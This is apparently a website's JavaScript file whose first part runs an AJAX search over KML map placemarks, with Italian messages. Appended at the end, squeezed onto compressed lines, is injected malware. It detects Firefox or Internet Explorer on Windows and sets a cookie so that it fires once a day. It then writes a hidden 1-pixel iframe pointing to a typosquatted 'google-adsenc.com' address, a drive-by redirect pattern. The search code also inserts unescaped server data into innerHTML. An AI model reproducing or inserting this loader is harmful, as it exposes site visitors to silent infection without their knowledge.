var ajax_xmlHttp;
var ajax_idDestinazione;
var ajax_inserimento;

function ajax_showMarker(cerca_titolo,destinazione,inserimento)
{
  if (cerca_titolo.value.length>3)
  {
    ajax_xmlHttp=ajax_GetXmlHttpObject();
    if (ajax_xmlHttp==null)
    {
      alert ("Questo browser non supporta AJAX!");
      return;
    }
  	ajax_idDestinazione=document.getElementById(destinazione);
    ajax_inserimento=inserimento;
    var url="kml_marker.php";
    url=url+"?cerca_titolo="+cerca_titolo.value;
    url=url+"&type=xml";
    url=url+"&sid="+Math.random();
    ajax_xmlHttp.onreadystatechange=ajax_writeResponse;
    ajax_xmlHttp.open("GET",url,true);
    ajax_xmlHttp.send(null);
  }
}

function ajax_writeResponse() 
{ 
  if (ajax_xmlHttp.readyState==1)
  {
  	ajax_idDestinazione.innerHTML="<u>Recupero informazioni in corso...</u><br />";
  }
  if (ajax_xmlHttp.readyState==4)
  {
    //alert(ajax_xmlHttp.responseText);
    if (ajax_xmlHttp.status==200)
    {
      ajax_idDestinazione.innerHTML="";
      
      var placemark = ajax_xmlHttp.responseXML.getElementsByTagName('Placemark'); 
			for(n=0;n<placemark.length;n++)
      {
      	name=placemark[n].getElementsByTagName('name')[0].firstChild.nodeValue;
        id=placemark[n].getAttribute('id');
        
        tmp=ajax_inserimento;
        tmp=tmp.replace(/%ID%/g,id);
        tmp=tmp.replace(/%NAME%/g,name);
        
        ajax_idDestinazione.innerHTML+=tmp;
      }
      ajax_idDestinazione.innerHTML+="<u>Risultati: "+placemark.length+"</u><br />";
      return;
    }
    else
    {
      alert("Impossibile recuperare i dati:\n"+ajax_xmlHttp.statusText);
      return;
    }
  }
}

function ajax_GetXmlHttpObject()
{
  var ajax_xmlHttp=null;
  try
  {
    // Firefox, Opera 8.0+, Safari
    ajax_xmlHttp=new XMLHttpRequest();
  }
  catch (e)
  {
    // Internet Explorer
    try
    {
      ajax_xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch (e)
    {
      ajax_xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
  return ajax_xmlHttp;
}

var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}